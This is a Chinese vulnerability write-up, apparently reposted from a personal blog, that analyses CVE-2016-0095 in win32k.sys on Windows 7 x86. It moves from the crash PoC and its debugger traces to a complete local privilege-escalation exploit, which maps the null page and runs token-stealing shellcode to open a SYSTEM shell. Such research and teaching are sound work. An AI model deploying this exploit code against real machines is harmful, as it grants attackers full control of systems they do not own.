前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >CVE-2016-0095从PoC到Exploit

CVE-2016-0095从PoC到Exploit

作者头像
WeaponX
发布于 2018-07-11 07:51:22
发布于 2018-07-11 07:51:22
1.1K00
代码可运行
举报
文章被收录于专栏:BinarySecBinarySec
运行总次数:0
代码可运行

利用Vmware进行双机调试

  1. 使用管理员模式运行cmd
  2. bcdedit /copy {current} /d “Windwos7[DEBUG]”
  3. 开启调试bcdedit /debug ONbcdedit /bootdebug ON
  4. 在Vmware的设备管理添加一个串口\\.\pipe\com_1
  5. 执行Windbg.exe -b -k com:port=\\.\pipe\com_1,baud=115200,pipe

注意 vmware 有个坑,默认添加打印机占用串口com1口,所以我们开启内核调试的串口就变成了com2,不过只要删除了com1即可。

利用VirtualKD和Vmware双机调试

Vmware利用串口进行双机调试就一个感受,慢。串口波特率115200也就是传输速度在14KB/s左右。

VirtualKD下载地址: http://virtualkd.sysprogs.org/download/

前提

造成BSoD的代码拿来直接编译不了,稍微修改了一下:

  • 加入了#include <tchar.h>
  • 声明WIN32KAPI#define W32KAPI DECLSPEC_ADDRSAFE
  • 获取KiFastSystemCall的地址:PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");

修改后的源代码如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    Trigger_BSoDPoc();
    return 0;
}

使用vs2015编译,放到虚拟机运行不了,提示缺少VSRUNTIME140.dll,此时装一个vc++ 2015的运行环境即可。运行后直接蓝屏重启。

这个PoC对应的是一个内核漏洞,所以需要使用虚拟机进行双机调试。

然后执行程序,Windbg捕获到异常:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
Access violation - code c0000005 (!!! second chance !!!)
win32k!bGetRealizedBrush+0x38:
93d50560 f6402401        test    byte ptr [eax+24h],1

发现程序在此崩溃,首先看调用栈:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> kb
ChildEBP RetAddr  Args to Child              
951909a0 832b34af 00000000 00000000 832ad5a0 win32k!bGetRealizedBrush+0x38
951909b8 83329b5e 95190af8 00000001 95190a7c win32k!pvGetEngRbrush+0x1f
95190a1c 833ab6e8 fe5f9018 00000000 00000000 win32k!EngBitBlt+0x337
95190a54 833abb9d fe5f9018 95190a7c 95190af8 win32k!EngPaint+0x51
95190c20 83e8d1ea 00000000 ffbff968 141006fe win32k!NtGdiFillRgn+0x339
95190c20 77c670b4 00000000 ffbff968 141006fe nt!KiFastCallEntry+0x12a
0028fe38 7662066b 7662064f 5f010631 1f040708 ntdll!KiFastSystemCallRet
0028fe3c 7662064f 5f010631 1f040708 141006fe gdi32!NtGdiFillRgn+0xc
0028fe5c 003310de 5f010631 1f040708 141006fe gdi32!FillRgn+0xb2
WARNING: Frame IP not in any known module. Following frames may be wrong.
0028fee4 766b3c45 7ffde000 0028ff30 77c837f5 0x3310de
0028fef0 77c837f5 7ffde000 77e6f957 00000000 kernel32!BaseThreadInitThunk+0xe
0028ff30 77c837c8 0033133a 7ffde000 00000000 ntdll!__RtlUserThreadStart+0x70
0028ff48 00000000 0033133a 7ffde000 00000000 ntdll!_RtlUserThreadStart+0x1b

随后,使用ln看一下,

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> ln
(93d50528)   win32k!bGetRealizedBrush+0x38   |  (93d50c9c)   win32k!xxxEnableWindow

崩溃发生在win32k.sys中的bGetRealizedBrush函数。此时eax为0,eax+24h = 0x00000024,内存不可读取,造成BSoD。

然后使用ida载入win32k.sys,看bGetRealizedBrush函数。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.text:BF84053C                 xor     eax, eax
.text:BF84053E                 jmp     loc_BF840C92
.text:BF840543 ; ---------------------------------------------------------------------------
.text:BF840543
.text:BF840543 loc_BF840543:                           ; CODE XREF: bGetRealizedBrush(BRUSH *,EBRUSHOBJ *,int (*)(_BRUSHOBJ *,_SURFOBJ *,_SURFOBJ *,_SURFOBJ *,_XLATEOBJ *,ulong))+12j
.text:BF840543                 push    ebx
.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax
.text:BF840560                 test    byte ptr [eax+24h], 1; => Creash here!!!

可以看到,eax是从ebx+34h获取的。ebx则是第二个参数。

取到的eax为fe5f9008

eax+1ch为0,现在需要知道+1ch是什么东西。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
*************************************************************************
***                                                                   ***
***                                                                   ***
***    Your debugger is not using the correct symbols                 ***
***                                                                   ***
***    In order for this command to work properly, your symbol path   ***
***    must point to .pdb files that have full type information.      ***
***                                                                   ***
***    Certain .pdb files (such as the public OS symbols) do not      ***
***    contain the required information.  Contact the group that      ***
***    provided you with these symbols if you need this command to    ***
***    work.                                                          ***
***                                                                   ***
***    Type referenced: _EBRUSHOBJ                                    ***
***                                                                   ***
*************************************************************************
Symbol _EBRUSHOBJ not found.

回溯到win32k!NtGdiFillRgn当程序准备调用win32k!EngPaint时候:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dd esp
9760ba5c  fe5fadb8 9760ba7c 9760baf8 fd795d60
9760ba6c  00000d0d 050106dd 0026fd34 93a6b864
9760ba7c  000038bc 00000000 00000000 00000008
9760ba8c  00000008 00000001 86a5e458 00000004
9760ba9c  9760bb04 83e51904 86a5e660 9760bae4
9760baac  fe9ff008 00000002 881a34c8 88543030
9760babc  ffffffff 00000000 00000000 00c1309c
9760bacc  00000000 83e7d7ad 0000008d 6aab658b

函数的声明如下:

int __stdcall EngPaint(struct _SURFOBJ *a1, int a2, struct _BRUSHOBJ *a3, struct _POINTL *a4, unsigned int a5)

可以得到fe5fadb8=>_SURFOBJ;9760baf8=>_BRUSHOBJ

然后在win32k!bGetRealizedBrush下断点,断下来后看参数。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dd esp
9760b9a4  939734af fd7eb188 9760baf8 9396d5a0
9760b9b4  9760baf8 9760ba1c 939e9b5e 9760baf8
9760b9c4  00000001 9760ba7c fe5fadb8 00000000
9760b9d4  00000000 00000000 00000000 00000000
9760b9e4  00000023 00000023 00000000 fe5fada8
9760b9f4  939e9827 fe5fada8 ffffffff 00000030
9760ba04  00000001 9760ba7c fe5fadb8 00000000
9760ba14  00000000 00000000 9760ba54 93a6b6e8

发现

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
kd> dd 9760baf8
9760baf8  ffffffff 00000000 00000000 00edfc13
9760bb08  00edfc13 00000000 00000006 00000004
9760bb18  00000000 00ffffff fd7957c4 00000000
9760bb28  00000000 fe5fada8 ffbff968 ffbffe68
9760bb38  ffbbd540 00000006 fd7eb188 00000014
9760bb48  000000aa 00000001 83f71f01 83eba892
9760bb58  9760bb78 9760bbac 00000000 00000000
9760bb68  9760bc10 9760bbac 00000000 00000000

9760baf8+34h的值为fe5fada8,这个值恰好为fe5fadb8+10h,所以fe5fada8+1ch = fe5fadb8+10h+ch

打开brush.h看到_SURFOBJ结构体定义为:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
typedef struct _SURFOBJ
{
    PVOID  dhsurf;
    PVOID   hsurf;
    PVOID  dhpdev;
    PVOID    hdev;
    LARGE_INTEGER   sizlBitmap;
    ULONG   cjBits;
    PVOID   pvBits;
    PVOID   pvScan0;
    LONG    lDelta;
    ULONG   iUniq;
    ULONG   iBitmapFormat;
    USHORT  iType;
    USHORT  fjBitmap;
} SURFOBJ;

所以,漏洞的本质是_SURFOBJ->hdev没有定义导致引用不可读内存,造成访问违例触发BSoD。

利用

x86的win 7 不存在 零页内存分配保护和SMEP。

所谓SMEP是一种安全措施,就是不能在内核态执行用户态的代码。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
typedef NTSTATUS NtAllocateVirtualMemory(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    )

利用BaseAddress参数在零页内存中分配空间,但是当BaseAddress指定为0时,系统会寻找第一个未使用的内存块来分配,而不是在零页内存中分配。所以指定BaseAddress为1即可。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.text:BF840544                 mov     ebx, [ebp+arg_4]
.text:BF840547                 push    esi
.text:BF840548                 xor     esi, esi
.text:BF84054A                 mov     [ebp+var_24], eax
.text:BF84054D                 mov     eax, [ebx+34h]
.text:BF840550                 mov     [ebp+arg_0], esi
.text:BF840553                 mov     [ebp+P], esi
.text:BF840556                 mov     [ebp+var_28], 0
.text:BF84055A                 mov     eax, [eax+1Ch]
.text:BF84055D                 mov     [ebp+arg_4], eax ;注意,此时[ebp+arg_4]就是0.text:BF840560                 test    byte ptr [eax+24h], 1
.text:BF840564                 mov     [ebp+var_1C], esi
.text:BF840567                 mov     [ebp+var_10], esi

之后我们只需要找能控制程序指令流程的点,也就是call或者jmp一个我们可以改变的值上。因此我们找到了如下可能可以利用的点。

第一点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.text:BF84076B                 push    esi
.text:BF84076C                 push    ecx
.text:BF84076D                 push    ebx
.text:BF84076E                 call    [ebp+arg_8]
.text:BF840771                 test    eax, eax

第二点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.text:BF840816                 mov     edx, [ebx+0Ch]
.text:BF840819                 push    ecx
.text:BF84081A                 push    edx
.text:BF84081B                 push    [ebp+var_14]
.text:BF84081E                 push    eax
.text:BF84081F                 call    edi

第三点

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
.text:BF840C27                 push    [ebp+var_24]
.text:BF840C2A                 push    esi
.text:BF840C2B                 push    [ebp+var_1C]
.text:BF840C2E                 push    ecx
.text:BF840C2F                 push    eax
.text:BF840C30                 push    ebx
.text:BF840C31                 call    [ebp+arg_8]

回溯了整个函数发现eb[+arg_8]也就是这个函数的第三个参数其实我们是无法控制的。再会看第二点,寻找edi的来源,发现其实edi是可控。

可以发现edi来源与[[ebp+arg_4]+748h]不过此时[ebp+arg_4]是0,所以我们可以分配零页内存控制748h的数据。控制了edi就可以控制程序指令流程执行我们的token-steal shellcode来完成token的替换。

接下来需要控制程序执行到这里,继续回溯。

程序要走到我们能控制的地方需要图中红框的条件成立,经调试si=1。看到eax其实是0,所以需要控制590h和592h的值均为1。

最终我们的exploit如下:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/**
* Author: bee13oy of CloverSec Labs
* BSoD on Windows 7 SP1 x86 / Windows 10 x86
* EoP to SYSTEM on Windows 7 SP1 x86
**/
#include <Windows.h>
#include <tchar.h>
#include <stdio.h>
#pragma comment(lib, "gdi32.lib")
#pragma comment(lib, "user32.lib")
#define W32KAPI  DECLSPEC_ADDRSAFE
typedef NTSTATUS (WINAPI *pNtAllocateVirtualMemory)(
    IN HANDLE     ProcessHandle,
    IN OUT PVOID  *BaseAddress,
    IN ULONG      ZeroBits,
    IN OUT PULONG AllocationSize,
    IN ULONG      AllocationType,
    IN ULONG Protect
    );
// Windows 7 SP1 x86 Offsets
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
// 4 params
int __stdcall TokenStealingShellcodeWin7(int a1,int a2,int a3,int a4) {
    // Importance of Kernel Recovery
    __asm {
        ; initialize
            pushad; save registers state
            xor eax, eax;
            mov eax, fs:[KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
            mov ecx, eax; Copy current _EPROCESS structure
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
            SearchSystemPID:
            mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM to current process
            popad; restore registers state
    }
    return 0;
}
unsigned int demo_CreateBitmapIndirect(void) {
    static BITMAP bitmap = { 0, 8, 8, 2, 1, 1 };
    static BYTE bits[8][2] = { 0xFF, 0, 0x0C, 0, 0x0C, 0, 0x0C, 0,
        0xFF, 0, 0xC0, 0, 0xC0, 0, 0xC0, 0 };
    bitmap.bmBits = bits;
    SetLastError(NO_ERROR);
    HBITMAP hBitmap = CreateBitmapIndirect(&bitmap);
    return (unsigned int)hBitmap;
}
#define eSyscall_NtGdiSetBitmapAttributes 0x1110
W32KAPI HBITMAP NTAPI NtGdiSetBitmapAttributes(
    HBITMAP argv0,
    DWORD argv1
    )
{
    PVOID addr_kifastsystemcall = (PVOID)GetProcAddress(LoadLibrary("ntdll.dll"), "KiFastSystemCall");
    __asm
    {
        push argv1;
        push argv0;
        push 0x00;
        mov eax, eSyscall_NtGdiSetBitmapAttributes;
        mov edx, addr_kifastsystemcall;
        call edx;
        add esp, 0x0c;
    }
}
void Trigger_BSoDPoc() {
    HBITMAP hBitmap1 = (HBITMAP)demo_CreateBitmapIndirect();
    HBITMAP hBitmap2 = (HBITMAP)NtGdiSetBitmapAttributes((HBITMAP)hBitmap1, (DWORD)0x8f9);
    RECT rect = { 0 };
    rect.left = 0x368c;
    rect.top = 0x400000;
    HRGN hRgn = (HRGN)CreateRectRgnIndirect(&rect);
    HDC hdc = (HDC)CreateCompatibleDC((HDC)0x0);
    SelectObject((HDC)hdc, (HGDIOBJ)hBitmap2);
    HBRUSH hBrush = (HBRUSH)CreateSolidBrush((COLORREF)0x00edfc13);
    FillRgn((HDC)hdc, (HRGN)hRgn, (HBRUSH)hBrush);
}
int _tmain(int argc, _TCHAR* argv[])
{
    PVOID base = (PVOID)0x1;
    SIZE_T size = 0x1000;
    FARPROC addr = GetProcAddress(GetModuleHandle("ntdll.dll"),"NtAllocateVirtualMemory");
    pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)addr;
    NTSTATUS status = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &base,
        0,
        &size,
        MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
    if (status != 0)
    {
        printf("[*]can not allocate null page");
    }
    memset(0x0, 0, 0x1000);
    void* bypass_one = (void *)0x590;
    *(LPBYTE)bypass_one = 0x1;
    void* bypass_two = (void *)0x592;
    *(LPBYTE)bypass_two = 0x1;
    void* jump_addr = (void *)0x748;
    *(LPDWORD)jump_addr = (DWORD)TokenStealingShellcodeWin7;
    Trigger_BSoDPoc();
    system("cmd.exe");
    return 0;
}

一定要注意,token-steal shellcode这个函数一定要有四个参数,以为call edi的时候传入了四个参数,如果不写参数会导致堆栈不平衡造成BSoD(如果在shellcode中平衡堆栈也可以)。

执行结果

参考

http://blog.nsfocus.net/null-pointer-vulnerability-defense/ https://www.whitehatters.academy/intro-to-windows-kernel-exploitation-3-my-first-driver-exploit/ http://blog.csdn.net/one_in_one/article/details/51766912 https://whereisk0shl.top/ssctf_pwn450_windows_kernel_exploitation_writeup.html https://github.com/k0keoyo/SSCTF-pwn450-ms16-034-writeup

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-08-11,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Windows提权以及逆向
一个小白对于Windows提权以及逆向的学习,文章中说的思路可能有不对的,希望不要介意!!!
网e渗透安全部
2019/12/09
7870
Windows提权以及逆向
分析笔记:MS17-017 中的整数溢出漏洞
前面的文章分析了 CVE-2016-0165 整数上溢漏洞,这篇文章继续分析另一个同样发生在 GDI 子系统的一个整数向上溢出漏洞(在分析此漏洞时,误以为此漏洞是 MS17-017 公告中的 CVE-2017-0101 漏洞,近期根据 @MJ 的提醒,发现此漏洞不是 CVE-2017-0101 而可能是 CVE-2017-0102 或其他在此公告中隐性修复的漏洞,在此更正,并向给各位读者带来的误导致歉)。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
1.7K0
分析笔记:MS17-017 中的整数溢出漏洞
通过 Windows 用户模式回调实施的内核攻击
这篇文章翻译自一篇多年之前的论文,原文作者是 Tarjei Mandt。原文系统地描述了 win32k 的用户模式回调机制以及相关的原理和思想,可以作为学习 win32k 漏洞挖掘的典范。早前曾经研读过,近期又翻出来整理了一下翻译,在这里发出来做个记录。原文链接在文后可见。
稻草小刀
2022/12/12
1.7K0
通过 Windows 用户模式回调实施的内核攻击
驱动开发:挂接SSDT内核钩子
SSDT 中文名称为系统服务描述符表,该表的作用是将Ring3应用层与Ring0内核层,两者的API函数连接起来,起到承上启下的作用,SSDT并不仅仅只包含一个庞大的地址索引表,它还包含着一些其它有用的信息,诸如地址索引的基址、服务函数个数等,SSDT 通过修改此表的函数地址可以对常用 Windows 函数进行内核级的Hook,从而实现对一些核心的系统动作进行过滤、监控的目的,接下来将演示如何通过编写简单的驱动程序,来实现搜索 SSDT 函数的地址,并能够实现简单的内核 Hook 挂钩。
王瑞MVP
2022/12/20
8550
驱动开发:挂接SSDT内核钩子
调用 NtUserXXX 引发系统 BSOD 的问题分析
这篇文章通过一次在 Windows XP 和 Windows 7 操作系统内核中分别调用同一个 NtUserXxx 系统调用产生不同现象的问题,对其做了简单分析。
稻草小刀
2022/12/12
3420
调用 NtUserXXX 引发系统 BSOD 的问题分析
漏洞分析:MS14-058(CVE-2014-4113)
Microsoft Windows是美国微软(Microsoft)公司发布的一系列操作系统。win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后台控制窗口和屏幕输出管理等。
极安御信安全研究院
2022/10/20
1.4K0
漏洞分析:MS14-058(CVE-2014-4113)
CVE-2015-2546 UAF Analysis and Exploitation
This article will analyze a UAF vulnerability in win32k Window Manager (User) Subsystem in Windows: CVE-2015-2546. Similar to CVE-2017-0263 analyzed in the previous article, this vulnerability is use-after-free of popup menu tagPOPUPMENU object as well. The analyzing environment is Windows 7 x86 SP1 basic virtual machine.
稻草小刀
2022/12/12
4830
CVE-2015-2546 UAF Analysis and Exploitation
恶意样本对抗栈回溯检测机制的套路浅析
最近发现有很多漏洞利用或木马程序样本会通过一些技术手段,达到使自动化检测系统或分析人员调试工具的栈回溯机制失效的目的。在本文中我将会简单分析和推测一下这类恶意样本都是通过哪些套路来实现和栈回溯机制的对抗。需要注意的是,文中讨论的堆栈都是代指线程在用户层的堆栈,并未涉及内核层的堆栈。
稻草小刀
2022/12/12
8750
恶意样本对抗栈回溯检测机制的套路浅析
从 CVE-2016-0165 说起:分析、利用和检测(中)
本文将对 CVE-2016-0165 (MS16-039) 漏洞进行一次简单的分析,并尝试构造其漏洞利用和内核提权验证代码,以及实现对应利用样本的检测逻辑。分析环境为 Windows 7 x86 SP1 基础环境的虚拟机,配置 1.5GB 的内存。
稻草小刀
2022/12/12
7280
从 CVE-2016-0165 说起:分析、利用和检测(中)
对 UAF 漏洞 CVE-2015-2546 的分析和利用
这篇文章将分析 Windows 操作系统 win32k 内核模块窗口管理器子系统中的 CVE-2015-2546 漏洞,与上一篇分析的 CVE-2017-0263 漏洞类似地,这个漏洞也是弹出菜单 tagPOPUPMENU 对象的释放后重用(UAF)漏洞。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
稻草小刀
2022/12/12
1.5K0
对 UAF 漏洞 CVE-2015-2546 的分析和利用
漏洞分析丨cve20144113
Microsoft Windows下的 win32k.sys是Windows子系统的内核部分,是一个内核模式设备驱动程序,它包含有窗口管理器、后者控制窗口显示和管理屏幕输出等。如果Windows内核模式驱动程序不正确地处理内存中的对象,则存在一个特权提升漏洞。成功利用此漏洞的攻击者可以运行内核模式中的任意代码。攻击者随后可安装程序;查看、更改或删除数据;或者创建拥有完全管理权限的新帐户。其中CVE-2014-4113就是Win32k.sys中的一个漏洞,该漏洞的根本问题是函数xxxMNFindWindowFromPoint的返回值验证不正确。xxxMNFindWindowFromPoint函数执行后返回win32k!tagWND的地址结构或错误代码-1,-5。在该函数后面将调用函数xxxSendMessage,xxxSendMessage把xxxMNFindWindowFromPoint的返回值作为参数传递。当xxxMNFindWindowFromPoint返回win32k!tagWND地址的时候程序正常执行,但当返回-1,-5的时候传递给xxxSendMessage将造成蓝屏。
极安御信安全研究院
2023/04/20
6040
漏洞分析丨cve20144113
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
本次实验内容是BufferOverflowStackGS(环境提供的栈溢出一共有两个,一个是普通的,一个是GS保护的)
极安御信安全研究院
2022/07/07
3770
漏洞分析丨HEVD-0x2.StackOverflowGS[win7x86]
x32下PsSetLoadImageNotifyRoutine的逆向
纯属兴趣爱好.特来逆向玩玩. PsSetLoadImageNotifyRoutine 是内核中用来监控模块加载.操作系统给我们提供的回调. 我们只需要填写对应的回调函数原型即可进行加监控. 既然可以进行监控.那么我们的回调函数存储在哪.这是个问题.所以特来逆向玩玩.
IBinary
2019/08/06
9280
漏洞分析丨HEVD-0x1.StackOverflow[win7x86]
该环境提供了各种内核漏洞场景供学习,本次实验内容是BufferOverflowStack
极安御信安全研究院
2022/06/30
5660
漏洞分析丨HEVD-0x1.StackOverflow[win7x86]
SEH学习
程序会出现错误,如果到处用if(!fun())这样的形式来侦错的话,代码不好维护。
全栈程序员站长
2022/11/15
6170
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
CVE-2017-0263 是 Windows 操作系统 win32k 内核模块菜单管理组件中的一个 UAF(释放后重用)漏洞,据报道称该漏洞在之前与一个 EPS 漏洞被 APT28 组织组合攻击用来干涉法国大选。这篇文章将对用于这次攻击的样本的 CVE-2017-0263 漏洞部分进行一次简单的分析,以整理出该漏洞利用的运作原理和基本思路,并对 Windows 窗口管理器子系统的菜单管理组件进行简单的探究。分析的环境是 Windows 7 x86 SP1 基础环境的虚拟机。
稻草小刀
2022/12/12
7500
从 CVE-2017-0263 漏洞分析到 Windows 菜单管理组件
IE漏洞调试之CVE-2013-3893
前言 Windows平台的漏洞挖掘和安全研究中,IE始终是绕不开的话题。IE漏洞就跟adobe系列一样经典,是学习exploit、shellcode的绝佳途径。 在IE漏洞中,UAF即Use-After-Free是最为经典的一类。UAF可以这样简单理解:A先后调用B、C、D三个子函数,B会把A的某个资源释放掉;而D由于判断不严谨即使在B把A的资源释放后依然去引用它,比如某个指针,这时D引用了很危险的悬空指针;C是个什么角色呢?我们可以通过B分配数据。所以利用方法来了:构造奇葩的数据,让A调用B,B把A的某个
FB客服
2018/02/05
1.4K0
IE漏洞调试之CVE-2013-3893
shellcode编写指南
linux的shellcode就不用说了,直接通过一个int 0x80系统调用,指定想调用的函数的系统调用号(syscall),传入调用函数的参数,即可,懂的都懂。
Gamma实验室
2021/03/10
1.6K0
shellcode编写指南
漏洞分析丨HEVD-11.DoubleFetch[win7x86]
在多线程访问临界区的情况下,使用进程互斥可以使多个线程不能同时访问操作关键区的变量,条件竞争漏洞就源于没有对可能会被多个线程访问的变量进行保护,导致多重访问使得在一次操作中,操作的值在中间发生了变化。
极安御信安全研究院
2022/08/05
5460
漏洞分析丨HEVD-11.DoubleFetch[win7x86]
1.5 编写自定位ShellCode弹窗
在笔者上一篇文章中简单的介绍了如何运用汇编语言编写一段弹窗代码,虽然简易ShellCode可以被正常执行,但却存在很多问题,由于采用了硬编址的方式来调用相应API函数的,那么就会存在一个很大的缺陷,如果操作系统的版本不统或系统重启过,那么基址将会发生变化,此时如果再次调用基址参数则会调用失败,本章将解决这个棘手的问题,通过ShellCode动态定位的方式解决这个缺陷,并以此设计出真正符合规范的ShellCode代码片段。
王瑞MVP
2023/07/03
3300
1.5 编写自定位ShellCode弹窗
相关推荐
Windows提权以及逆向
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档